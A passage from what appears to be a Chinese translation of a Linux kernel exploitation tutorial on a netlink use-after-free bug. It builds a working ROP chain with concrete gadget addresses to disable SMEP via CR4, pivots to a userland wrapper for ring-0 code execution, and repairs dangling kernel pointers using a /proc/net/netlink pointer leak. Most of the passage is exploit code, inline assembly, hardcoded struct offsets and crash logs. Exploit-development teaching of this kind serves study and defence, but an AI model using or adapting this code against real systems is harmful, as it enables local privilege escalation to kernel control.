记住我们的exp到达这段代码三遍:两遍解锁线程,一遍进行任意调用。即,使用continue直到第三次断点,然后一步步调试(用“ni”和“si”)。作为补充, __wake_up()在 __wake_up_common()前发起另一次调用,你可能想要去使用finish。
在这儿,只是一个通用的调试节。
WRARNING:记住在离开gdb前先分离。不然,他会导致严重的问题搞乱你的虚拟化工具。
7.rop-chain
在之前的节中,我们分析了任意调用前的操作状态(寄存器)。我们发现了一个gadget,使用32位寄存器xchg操作迁移栈。也因为这个,我们伪造的栈和用户空间的等待队列混淆。为了去处理他,我们是用来一个简单的技巧去避免这个混淆,仍然迁移到用户空间。这回让我们未来的gadget没有那么多约束,同时避免栈抬升(stack lifting)。
在这一节中,我们将会创建一个ROP-chain:
- 把esp和rbp保存在用户空间内存,方便以后恢复。
- 绕过SMEP通过翻转响应的CR4位(对抗SMEP策略)。
- 跳转到payload的wrapper(封装?)。
注意我们在这儿做的事情是和在用户空间的ROP利用开发是很相似的,这是非常依赖于目标的。你可能有更好或者更坏的gadgets。这只是一个我们用可用的gadget为我们的目标创造的ROP-chain。
WARNING:这是非常少见的,但是他会发生在你的gadget在整个运行时间因为一些原因不工作的情况下(注:trampoline, kernel hooks内核钩子, unmapped未映射)。为了去防止这个,在ROP-chain执行前中断,用gdb检查你的gadgets在内存中是不是和预期一样。否则,就选另一个gadget。
WARING-2:如果你的gadgets修改了“非临时”寄存器(就像我们修改的rbp/rsp),你会需要在ROP-chain的最后修复他们。
7-1 不幸的“CR4”gadgets
禁用SMEP不会是我们ROP-chain的第一个子链(我们将会提前保存ESP)。无论如何,因为修改CR4的可用gadget,所以我们将会需要额外的gadget去加载和保存RBP。
$ egrep "cr4" ranged_gadget.lst
0xffffffff81003288 : add byte ptr [rax - 0x80], al ; out 0x6f, eax ; mov cr4, rdi ; leave ; ret
0xffffffff81003007 : add byte ptr [rax], al ; mov rax, cr4 ; leave ; ret
0xffffffff8100328a : and bh, 0x6f ; mov cr4, rdi ; leave ; ret
0xffffffff81003289 : and dil, 0x6f ; mov cr4, rdi ; leave ; ret
0xffffffff8100328d : mov cr4, rdi ; leave ; ret // <----- will use this
0xffffffff81003009 : mov rax, cr4 ; leave ; ret // <----- will use this
0xffffffff8100328b : out 0x6f, eax ; mov cr4, rdi ; leave ; ret
0xffffffff8100328c : outsd dx, dword ptr [rsi] ; mov cr4, rdi ; leave ; ret
就像我们看到的,所有的这些gadget在ret之前都有一个leave指令。他意味着使用他们将会重写RSP和RBP,着会导致ROP-chain被破坏。也正因如此,我们将会需要去保存和修复他们。
7-2 保存 ESP/RBP
为了去保存ESP和RSP的值,我们将会用到下面这四个gadgets:
0xffffffff8103b81d : pop rdi ; ret
0xffffffff810621ff : shr rax, 0x10 ; ret
0xffffffff811513b3 : mov dword ptr [rdi - 4], eax ; dec ecx ; ret
0xffffffff813606d4 : mov rax, rbp ; dec ecx ; ret
因为我们写在任意内存的gadget,是从“eax”(32-位)取值的,我们使用shr的gadget去保存RBP的值两次(低位和高位)。ROP-chain是在这儿被申明的:
// gadgets in [_text; _etext]
#define XCHG_EAX_ESP_ADDR ((uint64_t) 0xffffffff8107b6b8)
#define MOV_PTR_RDI_MIN4_EAX_ADDR ((uint64_t) 0xffffffff811513b3)
#define POP_RDI_ADDR ((uint64_t) 0xffffffff8103b81d)
#define MOV_RAX_RBP_ADDR ((uint64_t) 0xffffffff813606d4)
#define SHR_RAX_16_ADDR ((uint64_t) 0xffffffff810621ff)
// ROP-chains
#define STORE_EAX(addr) \
*stack++ = POP_RDI_ADDR; \
*stack++ = (uint64_t)addr + 4; \
*stack++ = MOV_PTR_RDI_MIN4_EAX_ADDR;
#define SAVE_ESP(addr) \
STORE_EAX(addr);
#define SAVE_RBP(addr_lo, addr_hi) \
*stack++ = MOV_RAX_RBP_ADDR; \
STORE_EAX(addr_lo); \
*stack++ = SHR_RAX_16_ADDR; \
*stack++ = SHR_RAX_16_ADDR; \
STORE_EAX(addr_hi);
让我们修改bulid_rop_chain()
static volatile uint64_t saved_esp;
static volatile uint64_t saved_rbp_lo;
static volatile uint64_t saved_rbp_hi;
static void build_rop_chain(uint64_t *stack)
{
memset((void*)stack, 0xaa, 4096);
SAVE_ESP(&saved_esp);
SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi);
*stack++ = 0; // force double-fault
// FIXME: implement the ROP-chain
}
在继续之前,你可能想保证到目前为止所有事都是好的。使用上一节所说的GDB。
7-3 读/写 CR4,处理“离开
就像之前提过的一样,我们所有的gadget操控CR4都在ret之前有一个leave操作。leave做了什么(依次):
- RSP = RBP (mov rsp,rbp)
- RBP = Pop()(pop rbp)
在这个ROP-chain,我们将会使用这三个gadget:
0xffffffff81003009 : mov rax, cr4 ; leave ; ret
0xffffffff8100328d : mov cr4, rdi ; leave ; ret
0xffffffff811b97bf : pop rbp ; ret //用来回到chain
因为RSP在执行leave时会被重写,我们不得不确保他不会破坏chain(RSP仍就是正确的)。
由于RSP被RBP赋值。我们将会在执行这些gadget之前重写RBP:
#define POP_RBP_ADDR ((uint64_t) 0xffffffff811b97bf)
#define MOV_RAX_CR4_LEAVE_ADDR ((uint64_t) 0xffffffff81003009)
#define MOV_CR4_RDI_LEAVE_ADDR ((uint64_t) 0xffffffff8100328d)
#define CR4_TO_RAX() \
*stack++ = POP_RBP_ADDR; \
*stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \
*stack++ = MOV_RAX_CR4_LEAVE_ADDR; \
*stack++ = 0xdeadbeef; // dummy RBP value!
#define RDI_TO_CR4() \
*stack++ = POP_RBP_ADDR; \
*stack = (unsigned long) stack + 2*8; stack++; /* skip 0xdeadbeef */ \
*stack++ = MOV_CR4_RDI_LEAVE_ADDR; \
*stack++ = 0xdeadbeef; // dummy RBP value!
当执行leave时,RSP中是指向“0xdeadbeef”的指针,这个“0xdeadbeef”会被pop到RBP。即,下一个ret操作将会回到到我们的chain。
7-4 清除SMEP位
像在介绍SMEP节中提到的一样,SMEP当CR4的第20位是被设置的。即,我们能用下面的操作清除他:
CR4 = CR4 & ~(1<<20)
等同于:
CR4 &= 0xffffffffffefffff
在这个chain中,我们将会使用下列gadget就像之前的ROP-chain。
NOTE:CR4的高32位是“保留的”,因此是0,这也是为什么我们可以用32位寄存器的gadgets。
即,我们用下面这个chain来关闭SMEP。
#define AND_RAX_RDX_ADDR ((uint64_t) 0xffffffff8130c249)
#define MOV_EDI_EAX_ADDR ((uint64_t) 0xffffffff814f118b)
#define MOV_EDX_EDI_ADDR ((uint64_t) 0xffffffff8139ca54)
#define SMEP_MASK (~((uint64_t)(1 << 20))) // 0xffffffffffefffff
#define DISABLE_SMEP() \
CR4_TO_RAX(); \
*stack++ = POP_RDI_ADDR; \
*stack++ = SMEP_MASK; \
*stack++ = MOV_EDX_EDI_ADDR; \
*stack++ = AND_RAX_RDX_ADDR; \
*stack++ = MOV_EDI_EAX_ADDR; \
RDI_TO_CR4();
static void build_rop_chain(uint64_t *stack)
{
memset((void*)stack, 0xaa, 4096);
SAVE_ESP(&saved_esp);
SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi);
DISABLE_SMEP();
*stack++ = 0; // force double-fault
// FIXME: implement the ROP-chain
}
是时候去测试他,并且检查CR4的值!
[ 223.425209] double fault: 0000 [#1] SMP
[ 223.425745] CPU 0
[ 223.430785] RIP: 0010:[<ffffffff8155ad78>] [<ffffffff8155ad78>] do_page_fault+0x8/0xa0
[ 223.430930] RSP: 0018:0000000020000ff8 EFLAGS: 00010002
[ 223.431000] RAX: 00000000000407f0 RBX: 0000000000000001 RCX: 000000008100bb8e
[ 223.431101] RDX: 00000000ffefffff RSI: 0000000000000010 RDI: 0000000020001028
[ 223.431181] RBP: 0000000020001018 R08: 0000000000000000 R09: 00007f4754a57700
[ 223.431279] R10: 00007ffdc1b6e590 R11: 0000000000000206 R12: 0000000000000001
[ 223.431379] R13: ffff88001c9c0ab8 R14: 0000000000000000 R15: 0000000000000000
[ 223.431460] FS: 00007f4755221700(0000) GS:ffff880003200000(0000) knlGS:0000000000000000
[ 223.431565] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 223.431638] CR2: 0000000020000fe8 CR3: 000000001a5d8000 CR4: 00000000000407f0
^--- !!!!!
Ooh Yeah!SMEP现在被禁止了,我们能跳转到用户空间了:-)!
7-5 跳转到payload的封装
你可能想知道为什么我们要跳转到封装而不是直接调用用户空间函数。这儿有三个原因。
首先,gcc自动设置了一个的“开场”和“尾声”在C语言函数的开始和结束时,,为了保存和恢复一个“non-scratch”寄存器。我们不知道__attribute__()宏允许去改变这个行为,他也嵌入了一个“leave”操作在返回之前。因此,栈将会被修改。
这儿有一个问题,因为栈是当前的用户空间的。无论怎样,如果我们在payload中修复了他,他将会又一次在内核。即,他将会把数据push到用户空间栈,但是pop时却在内核空间栈。他将会导致栈mis-align(错位),大部分时候都会导致内核crash。
ps:错位的意思应该是由于我们都是在伪造的用户空间栈中操作,所以,所以我们后面恢复栈回到内核中时,数据还是留在用户空间的,这会导致栈有一部分的内容缺失。
第二,我们想要去恢复栈指针到内核线程栈之前调用payload。换句话说,payload将会像其他内核代码一样跑(stack-wise堆叠式)。唯一不同的是代码是位于用户空间的。
因为我们现在可以访问用户空间代码,我们不将在ROP-chain中做,而是用内联汇编替代。即,当最后的ret操作被执行(在封装),在 curr->func()任意调用之后(注:在 __wake_up_common()中)内核可以继续“正常”的执行。
第三,我们想要一些“抽象概念”,这样某种意义上来说,最后的payload和任意调用需求无关。我们在任意调用操作时,被调用函数返回一个非空值来到达break语句是必须的。我们将会在封装上做。
为了到达我们的目的,我们使用下列gadgets:
0xffffffff81004abc : pop rcx ; ret
0xffffffff8103357c : jmp rcx
跳转ROP-chain变成了:
#define POP_RCX_ADDR ((uint64_t) 0xffffffff81004abc)
#define JMP_RCX_ADDR ((uint64_t) 0xffffffff8103357c)
#define JUMP_TO(addr) \
*stack++ = POP_RCX_ADDR; \
*stack++ = (uint64_t) addr; \
*stack++ = JMP_RCX_ADDR;
调用:
static void build_rop_chain(uint64_t *stack)
{
memset((void*)stack, 0xaa, 4096);
SAVE_ESP(&saved_esp);
SAVE_RBP(&saved_rbp_lo, &saved_rbp_hi);
DISABLE_SMEP();
JUMP_TO(&userland_entry);
}
封装的“stub”是:
extern void userland_entry(void); // make GCC happy
static __attribute__((unused)) void wrapper(void)
{
// avoid the prologue
__asm__ volatile( "userland_entry:" :: ); // <----- jump here
// FIXME: repair the stack
// FIXME: call to "real" payload
// avoid the epilogue and the "leave" instruction
__asm__ volatile( "ret" :: );
}
ps:
- extern定义:https://blog.csdn.net/gao1440156051/article/details/48035911
- volatile的嵌入式汇编:https://www.cnblogs.com/jhj117/p/5996744.html
注意你需要去去申明userland_entry 在外部,这是指向封装最顶端的标签,不然gcc会抱怨的。作为补充,我们用 attribute(未使用的)标记了wrapper()函数来避免一些编译警告。
7-6 恢复栈指针同时封装结束
封装栈指针是很直接的,因为我们在ROP-chain上保存了他们。注意我们只是保存了低32位的RSP。辛运的是,我们也保存了“RBP”。除非__wake_up_common()的栈框架大于4GB,否则RSP的高32位将会和RBP一样。即我们可以这么保存他们:
restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo);
restored_rsp = ((saved_rbp_hi << 32) | saved_esp);
在之前的节中提到过,任意调用操作依赖于我们返回一个非空值。封装变成了:
static volatile uint64_t restored_rbp;
static volatile uint64_t restored_rsp;
static __attribute__((unused)) void wrapper(void)
{
// avoid the prologue
__asm__ volatile( "userland_entry:" :: );
// reconstruct original rbp/rsp
restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo);
restored_rsp = ((saved_rbp_hi << 32) | saved_esp);
__asm__ volatile( "movq %0, %%rax\n"
"movq %%rax, %%rbp\n"
:: "m"(restored_rbp) );
__asm__ volatile( "movq %0, %%rax\n"
"movq %%rax, %%rsp\n"
:: "m"(restored_rsp) );
// FIXME: call to "real" payload
// arbitrary call primitive requires a non-null return value (i.e. non zero RAX register)
__asm__ volatile( "movq $5555, %%rax\n"
:: );
// avoid the epilogue and the "leave" instruction
__asm__ volatile( "ret" :: );
}
当ret操作被执行,内核线程栈指针像RBP被修复。作为补充,RAX有着非零值。即,我们将会返回curr->func(),内核会继续“正常"的执行。
修改main()代码来检查是否任何事正常进行:
int main(void)
{
// ... cut ...
// trigger the arbitrary call primitive
printf("[ ] invoking arbitray call primitive...\n");
val = 3535; // need to be different than zero
if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
{
perror("[-] setsockopt");
goto fail;
}
printf("[+] arbitrary call succeed!\n");
PRESS_KEY();
// ... cut ...
}
如果我们跑一下:
...
[+] reallocation succeed! Have fun :-)
[ ] invoking arbitray call primitive...
[+] arbitrary call succeed!
[ ] press key to continue...
<<< KERNEL CRASH HERE >>>
完美,内核现在在退出时crash(就像在part2一样)!这意味着栈被正确的恢复了。
7-7 调用payload
为了完成封装,让我们调用payload。只为了调试,我们现在将仅仅调用 panic():
// kernel function symbols
#define PANIC_ADDR ((void*) 0xffffffff81553684)
typedef void (*panic)(const char *fmt, ...);
static void payload(void)
{
((panic)(PANIC_ADDR))("HELLO FROM USERLAND"); // called from kernel land
}
修改wrapper()函数:
static __attribute__((unused)) void wrapper(void)
{
// avoid the prologue
__asm__ volatile( "userland_entry:" :: );
// reconstruct original rbp/rsp
restored_rbp = ((saved_rbp_hi << 32) | saved_rbp_lo);
restored_rsp = ((saved_rbp_hi << 32) | saved_esp);
__asm__ volatile( "movq %0, %%rax\n"
"movq %%rax, %%rbp\n"
:: "m"(restored_rbp) );
__asm__ volatile( "movq %0, %%rax\n"
"movq %%rax, %%rsp\n"
:: "m"(restored_rsp) );
uint64_t ptr = (uint64_t) &payload; // <----- HERE
__asm__ volatile( "movq %0, %%rax\n"
"call *%%rax\n"
:: "m"(ptr) );
// arbitrary call primitive requires a non-null return value (i.e. non zero RAX register)
__asm__ volatile( "movq $5555, %%rax\n"
:: );
// avoid the epilogue and the "leave" instruction
__asm__ volatile( "ret" :: );
}
现在,如果我们启动exp,我们得到下面的踪迹:
[ 1394.774972] Kernel panic - not syncing: HELLO FROM USERLAND // <-----
[ 1394.775078] Pid: 2522, comm: exploit
[ 1394.775200] Call Trace:
[ 1394.775342] [<ffffffff8155372b>] ? panic+0xa7/0x179
[ 1394.775465] [<ffffffff81553684>] ? panic+0x0/0x179 // <-----
[ 1394.775583] [<ffffffff81061909>] ? __wake_up_common+0x59/0x90 // <-----
[ 1394.775749] [<ffffffff810665a8>] ? __wake_up+0x48/0x70
[ 1394.775859] [<ffffffff814b81cc>] ? netlink_setsockopt+0x13c/0x1c0
[ 1394.776022] [<ffffffff81475a2f>] ? sys_setsockopt+0x6f/0xc0
[ 1394.776167] [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
棒极了!因为修复了内核栈指针(线程栈)和栈指针,我们得到了一个“干净”的调用过程。作为补充,我们看到“来自用户空间的问候”信息,意味着我们直接控制了内核执行流。换句话说,我们在Ring-0下有了任意代码执行,我们能用c语言写我们的payload
(不需要ROP了)。
我们几乎完成这个exp了,只差两件事:
- 修复内核(强制的)
- 娱乐和利润(可选的)
8.修复内核
“明天很多。。。现在就去做吧”
在之前的章节,我们成功的用我们的任意代码执行获得了在ring0下完全任意代码执行,我们可以直接用c语言写我们的最后payload。在这节中,我们将会使用他去修复内核。注意这一步不是可选的,因为我们的exp仍然导致内核crash。
就像是在part3提到的,我们需要去修复所有由漏洞引入的悬空指针。幸运的是,我们早已在过去章节中枚举了他们:
- 与unblock_fd文件描述符关联的 struct socket 中的sk指针
- nl_table 哈希列表中的指针。
8-1 修复struct socket
在“part1的核心概念”中,我们介绍了一个文件描述符和他相关的(“专门”)文件之间的关系。
我们需要去修复struct socket和struct sock之间的指针(sk字段)
记得我们因为netlink_release()中的UAF导致crash:
static int netlink_release(struct socket *sock)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk;
if (!sk)
return 0; // <----- hit this!
netlink_remove(sk);
// ... cut ...
就像我们看到的,如果sk是null,整段代码会被跳过。换句话说,修复坏掉的struct socket可以这么做:
current->files->fdt->fd[unblock_fd]->private_data->sk = NULL;
^ struct socket
^ struct file
^ struct file **
^ struct files_struct
^ struct task_struct
^--- struct task_struct *
NOTE:我们这里使用unblock_fd,因为其他文件描述符在exp期间被关闭了。这和激活任意调用操作的是同一个fd。
即,我们需要:
- current 指针的值
- 所有上面提到的结构的偏移
这是很重要的去重置这个指针,让内核做“正常”的内存内务管理(递减计数,释放对象等等)。他还防止内存泄露!
举个例子,我们只把fdt记录重置为null,就像我们用SystemTap 做的一样(current->files->fdt->fdt[unblock_fd] = NULL),但是这会导致内存泄露在file,socket,inode和其他可能的对象。
好了,我们在part3看到这么去内核结构“模仿”。无论怎样,这些是一个大男孩(特别是task_struct 和file)。即我们会有点懒,值定义必要的字段在使用硬编码偏移时:
#define TASK_STRUCT_FILES_OFFSET (0x770) // [include/linux/sched.h]
#define FILES_STRUCT_FDT_OFFSET (0x8) // [include/linux/fdtable.h]
#define FDT_FD_OFFSET (0x8) // [include/linux/fdtable.h]
#define FILE_STRUCT_PRIVATE_DATA_OFFSET (0xa8)
#define SOCKET_SK_OFFSET (0x38)
struct socket {
char pad[SOCKET_SK_OFFSET];
void *sk;
};
struct file {
char pad[FILE_STRUCT_PRIVATE_DATA_OFFSET];
void *private_data;
};
struct fdtable {
char pad[FDT_FD_OFFSET];
struct file **fd;
};
struct files_struct {
char pad[FILES_STRUCT_FDT_OFFSET];
struct fdtable *fdt;
};
struct task_struct {
char pad[TASK_STRUCT_FILES_OFFSET];
struct files_struct *files;
};
NOTE:我们早就在part3看到了怎么去从反汇编提取偏移。搜索取消应用的特定字段代码,并记下偏移量。
在写修复payload之前,我们忘了一件事:现在的指针值。如果你读了“part4核心内容”,你应该知道内核使用hread_info结构的task 字段来检索他。
作为补充,我们知道我们可以通过屏蔽任何内核线程栈指针来检索thread_info 。我们有后者,因为我们保存了RSP。即我们将使用下列宏:
struct thread_info {
struct task_struct *task;
char pad[0];
};
#define THREAD_SIZE (4096 << 2)
#define get_thread_info(thread_stack_ptr) \
((struct thread_info*) (thread_stack_ptr & ~(THREAD_SIZE - 1)))
#define get_current(thread_stack_ptr) \
((struct task_struct*) (get_thread_info(thread_stack_ptr)->task))
在最后,payload()函数变成:
static void payload(void)
{
struct task_struct *current = get_current(restored_rsp);
struct socket *sock = current->files->fdt->fd[unblock_fd]->private_data;
void *sk;
sk = sock->sk; // keep it for later use
sock->sk = NULL; // fix the 'sk' dangling pointer
}
他看起来像“正常”的内核代码,对不?
现在,让我们允许exp:
$ ./exploit
...
[ ] invoking arbitrary call primitive...
[+] arbitrary call succeed!
[+] exploit complete!
$ // <----- no crash!
完美,内核不再会退出时crash了!但是我们还没有完成!
现在,尝试跑这个命令:
$ cat /proc/net/netlink
<<< KERNEL CRASH >>>
[ 1392.097743] BUG: unable to handle kernel NULL pointer dereference at 0000000000000438
[ 1392.137715] IP: [<ffffffff814b70e8>] netlink_seq_next+0xe8/0x120
[ 1392.148010] PGD 1cc62067 PUD 1b2df067 PMD 0
[ 1392.148240] Oops: 0000 [#1] SMP
...
[ 1393.022706] [<ffffffff8155adae>] ? do_page_fault+0x3e/0xa0
[ 1393.023509] [<ffffffff81558055>] ? page_fault+0x25/0x30
[ 1393.024298] [<ffffffff814b70e8>] ? netlink_seq_next+0xe8/0x120 // <---- the culprit
[ 1393.024914] [<ffffffff811e8e7b>] ? seq_read+0x26b/0x410
[ 1393.025574] [<ffffffff812325ae>] ? proc_reg_read+0x7e/0xc0
[ 1393.026268] [<ffffffff811c0a65>] ? vfs_read+0xb5/0x1a0
[ 1393.026920] [<ffffffff811c1d86>] ? fget_light_pos+0x16/0x50
[ 1393.027665] [<ffffffff811c0e61>] ? sys_read+0x51/0xb0
[ 1393.028446] [<ffffffff8100b1a2>] ? system_call_fastpath+0x16/0x1b
哎:-( 一个null指针解引用。。。是的,内核仍然在不稳定状态,因为我们没有修复所有的悬空指针。话句话说,我们没有在exp完成时crash,但是有一个定时炸弹。这些让我们有了下一节。
8-2 修复nl_table哈希列表
修复这个比看上去的要复杂,因为他使用哈希列表会带来两个问题:
- hlist_head类型被用作一个简单的“第一”指针(这不是一个循环)
- 各个元素存储在各种buckets ,强迫“邻接”会是单调的
作为补充,Netlink在执行插入操作时使用一个稀释机制,这会把事情搞砸。让我们看看怎么去修复他。
NOTE:Netlink使用哈希表来从一个pid(注:netlink_lookup())快速恢复到一个struct sock 。我们已经看到了netlink_getsockbypid()的一个用法,注意这个函数被netlink_unicast() 调用(part2)。
8-2-1 修复一个损坏的链表
在这一节中,我们将会看到通常怎么去修复一个损坏的双向链表。
我们假设,我们早就有任意代码执行(因为任意读/写)。
一个正常的链表:
现在假设我们释放和再分配了中间的元素。因为我们不知道他原本的next和prev指针,这个链表是损坏的。作为补充,相邻的元素有悬空指针:
有着这么一个链表,这是不可能去做一些操作的(像是遍历链表),这回导致严重的后果(大多数情况都是crash)。
在这儿,我们会做各种不同的事。首先我们会尝试去修复这个分配的元素的next/prev指针,那么这个链表就看起来像一个正常的了。或者,我们尝试把我们分配的元素移除这个链表(注:相邻的元素指向彼此):
这些所有的选择表明我们知道相邻元素的地址。现在,让我们假设我们实际上不知道这些地址(甚至任意读)。我们搞砸了嘛?不!
我们的主意是使用保护元素在我们控制的元素前后。由于他们在再分配后也有一个悬空指针,从链表中移除他们将会修复我们的重定位元素不用知道任何地址(展开list_del()代码来说服你自己)。
见:https://blog.csdn.net/qqliyunpeng/article/details/53789082
当然,你现在能在再分配元素上使用一个经典的list_del()来彻底的从现在修复的链表中删除他。
即,这个技术施加了两个约束条件:
- 我们设置一个或者两个相邻的“保护”元素。
- 我们可以随意释放这些保护元素。
就像我们再这节所看到的一样,1)在我们这个环境下是有点复杂的(因为哈希函数和“稀释”机制)。在exp中,我们将会使用一个“混合”方法(待优化)。
8-2-2 迷失太空
如果你没有阅读核心内容part4中Neltlink数据结构和相关的算法相关的节,现在是时候去返回去阅读他了。
让我们找到在nl_table哈希链表中的悬空指针(我们需要修复的那个)。
在再分配后,我们的“假netlink_sock”在next和pprev字段有着没用的东西。此外,bucket链表的“原始”前一个和后一个元素有悬空指针。
我们修复损坏哈希链表的策略是去修复我们在分配元素的next和pprev值,然后释放进行__hlist_del()操作来修复悬空指针。
无论怎样。。。
没错,我们成功再分配的元素是“迷失太空”的。这意味着什么,没有东西指向他。唯一的链接被我们再分配重写了。但是,我们需要去修复他的pprev指针!所有的这些都是因为哈希链表是不循环的。这很棘手。。。
在返回问题之前,让我们解决我们假netlink_sock的“pprev”指针。这没什么大不了的:
- 用nl_table 找到NETLINK_USERSOCK 哈希链表(导出符号)。
- 用原本的pid(不是MAGIC_NL_PID)重演哈希函数来找到准确的bucket和哈希表中rnd的值。
- 遍历bucket链表知道我们找到我们的再分配元素,同时保存前一个元素的地址。
- 修复“pprev”的值。
注意3)意味着我们知道我们再分配元素的地址。事实上确实如此!他被存在了socket 结构的sk字段。此外,next指针(hlist_node)是netlink_sock的第一个字段。换句话说,他的地址和sk相同。这就是为什么我们在重写他为null之前保存他(修复struct socket)。
WARRING:2)意味着哈希表没有被稀释。我们将会看到怎么去降低这个风险。
一个问题被修复了。
8-2-3 我们需要一个朋友:信息泄露
在之前的节中,我们看到了我们能修复我们再分配元素的pprev指针通过遍历bucket链表。我们也需要去修复悬空的next指针来调用__hlist_del()。无论如何我们不知道让他指向的位置,因为我们把唯一链接“next”元素的元素在再分配时重写了。所以,我们应该做什么?
至少,我们可以扫描整个内存来检索每一个netlink_sock对象。记住SLAB保持partial/full slabs的踪迹。即,我们可以扫描kmalloc-1024 slabs来检查这些对象是socket(用f_ops字段),而且是netlink_sock(e.g. private_data->sock->ops == &netlink_ops) 类型有着NETLINK_USERSOCK协议,等等。然后,我们检查每一个对象他的pprev字段指向我们的再分配元素。他将会成功,但是扫描内存会花很多时间。请注意有时候(取决于你的exp),这是唯一的修复内核的方法!
NOTE:在一个使用SLUB的系统上这很难做,因为他不会保持full slabs,你将需要检索他们通过分析 struct page,。
作为替代,我们将会尝试设置一个位于我们再分配元素的后面的保护元素。即,我们能检索他的地址在文件描述符表的帮助下(就像我们用我们的再分配元素做的一样)。
哎,这不是那么容易的:
- 由于哈希函数,我们不能确保哪个会被放进哪个bucket里
- 元素是插在bucket链表的头部的(注:我们不能把他放在后面)
因为2),保护元素应该被事先插入我们的目标/再分配元素,但是如何处理1)?
或许,哈希函数是“可逆的”?别想了。。。记住,哈希函数使用一个pid和 hash->rnd值。在我们利用bug前,后者是未知的。
解决办法是创造大量的netlink sockets(和堆喷射类似)。试试看我们中的两个socket会在一个bucket链表中相邻。但是,怎么去找到他?
在这种情况下,你找不到一些东西,你需要一个朋友:一个信息泄露。
linux内核有各种各样的信息泄露。有一些来自于一个bug,有一些是“合法的”。我们将会在后面用到。特别的,这儿有一个他们全部的位置:proc文件系统。
NOTE:proc文件系统是一个伪造的文件系统,他只存在于内存中,是被用来得到内核和/或设置系统范围的设置。操控他们的API常常是seq_file。请阅读https://kernelnewbies.org/Documents/SeqFileHowTo,来更好的理解。
8-2-4 ProcFS (进程文件系统)抢救
具体的来说,我们将会使用/proc/net/netlink,他依然(在写的时候)是全局可读的。前面提到proc文件系统在这里被创建:
static int __net_init netlink_net_init(struct net *net)
{
#ifdef CONFIG_PROC_FS
if (!proc_net_fops_create(net, "netlink", 0, &netlink_seq_fops))
return -ENOMEM;
#endif
return 0;
}
用来下面的回调函数:
static const struct seq_operations netlink_seq_ops = {
.start = netlink_seq_start,
.next = netlink_seq_next, // <----- this
.stop = netlink_seq_stop,
.show = netlink_seq_show, // <----- this
};
一个典型的输出是:
$ cat /proc/net/netlink
sk Eth Pid Groups Rmem Wmem Dump Locks Drops
ffff88001eb47800 0 0 00000000 0 0 (null) 2 0
ffff88001fa66800 6 0 00000000 0 0 (null) 2 0
...
哇,他甚至泄露了内核指针!每一行都是被netlink_seq_show()印刷的:
static int netlink_seq_show(struct seq_file *seq, void *v)
{
if (v == SEQ_START_TOKEN)
seq_puts(seq,
"sk Eth Pid Groups "
"Rmem Wmem Dump Locks Drops\n");
else {
struct sock *s = v;
struct netlink_sock *nlk = nlk_sk(s);
seq_printf(seq, "%p %-3d %-6d %08x %-8d %-8d %p %-8d %-8d\n", // <----- VULNERABILITY (patched)
s,
s->sk_protocol,
nlk->pid,
nlk->groups ? (u32)nlk->groups[0] : 0,
sk_rmem_alloc_get(s),
sk_wmem_alloc_get(s),
nlk->cb,
atomic_read(&s->sk_refcnt),
atomic_read(&s->sk_drops)
);
}
return 0;
}
seq_printf()的格式化字符串使用%p而不是%pK来dump其中的sock地址。注意这个漏洞早就在kptr_restrict(https://lwn.net/Articles/420403/)的帮助下被修复了。用K作为后缀,对于普通用户地址输出会是0000000000000000 。
让我们假设是这样的。我们在这个文件里还能得到什么?
让我们看一看netlink_seq_next(),他负责找到下一个将要打印的netlink_sock:
static void *netlink_seq_next(struct seq_file *seq, void *v, loff_t *pos)
{
struct sock *s;
struct nl_seq_iter *iter;
int i, j;
// ... cut ...
do {
struct nl_pid_hash *hash = &nl_table[i].hash;
for (; j <= hash->mask; j++) {
s = sk_head(&hash->table[j]);
while (s && sock_net(s) != seq_file_net(seq))
s = sk_next(s); // <----- NULL-deref'ed here ("cat /proc/net/netlink")
if (s) {
iter->link = i;
iter->hash_idx = j;
return s;
}
}
j = 0;
} while (++i < MAX_LINKS);
// ... cut ...
}
即,他从0到MAX_LINKS遍历每一个哈希表。然后,对于每一个表,他遍历每一个bucket,从0到hash->mask。最后,对与每一个bucket,他从第一个遍历到最后。
换句话,他按顺序遍历元素。你能看到他的来临嘛?😃
8-2-5 解决
让我们假设我们有创建大量的netlink sockets。通过扫描proc文件系统,我们能知道是否我们的netlink socket是相邻的。这是信息泄露就是我们缺乏的。
小心!如果我们看到我们的两个netlink socket一个接着一个打印,并不意味着他们是相邻的。
他可能是下面两种情况之一:
- 他们是相邻的或者
- 第一个元素是一个bucket的最后一个,第二个元素是另一个bucket的第一个。
NOTE:对于本文的其余部分,我们将会把第一个元素叫做target,第二个元素叫做guard。
所以,如果我们是在第一个情况,移除guard元素将会修复我们目标的next字段(注:修复一个损坏的链表)。在第二情况,移除guard不会对我们的目标有任何影响。
我们知道哈希列表的最后一个元素什么?下一个指针是null。即我们能设置我们目标的next指针指向null,在整个再分配环节中。如果我们在第二中情况,next指针能直接将会“早就”被固定了。但是,你猜怎么。。。
next指针式是netlink_sock 的第一个字段,是我们唯一不能用再分配控制的字段。。。他和cmsg_len匹配,在我们的情况下cmsg_len是1024。
整一个bucket链表遍历(返回next指针),希望最后元素的next字节为null。无论如何,他在我们的例子里是1024.即,内核尝试解引用他,但是所有的解引用低于mmap_min_addr限制,导致了NULL-deref。这是为什么我们在“cat /proc/net/netlink”时会导致crash。
NOTE:你可以在/proc/sys/vm/mmap_min_addr中检索这个值,类似0x10000。
注意,我们在这里引起crash(故意的),但是只要遍历我们的目标bucket链表,这个crash就会发生。尤其是另一个程序使用NETLINK_USERSOCK可能引起crash,因为插入了一个元素到我们的bucket链表(冲突)。如果稀释发生了,事情就会变得更糟,因为每一个bucket链表为了重新插入所有元素要被遍历。我们
当然需要修复他。
好的,这实际上很简单。。。在内核修复中如果我们是情况一,只需要去重置我们的再分配next指针为null。
在最后,我们设置并且释放了一个保护(guard)元素,修复哈希表的步骤如下:
- 检索NETLINK_USERSOCK哈希表
- 重现nl_pid_hashfn()哈希函数来找到我们的目标bucket 链表
- 遍历bucket链表并且在我们找到目标时,把目标的前一个元素地址保存下来。
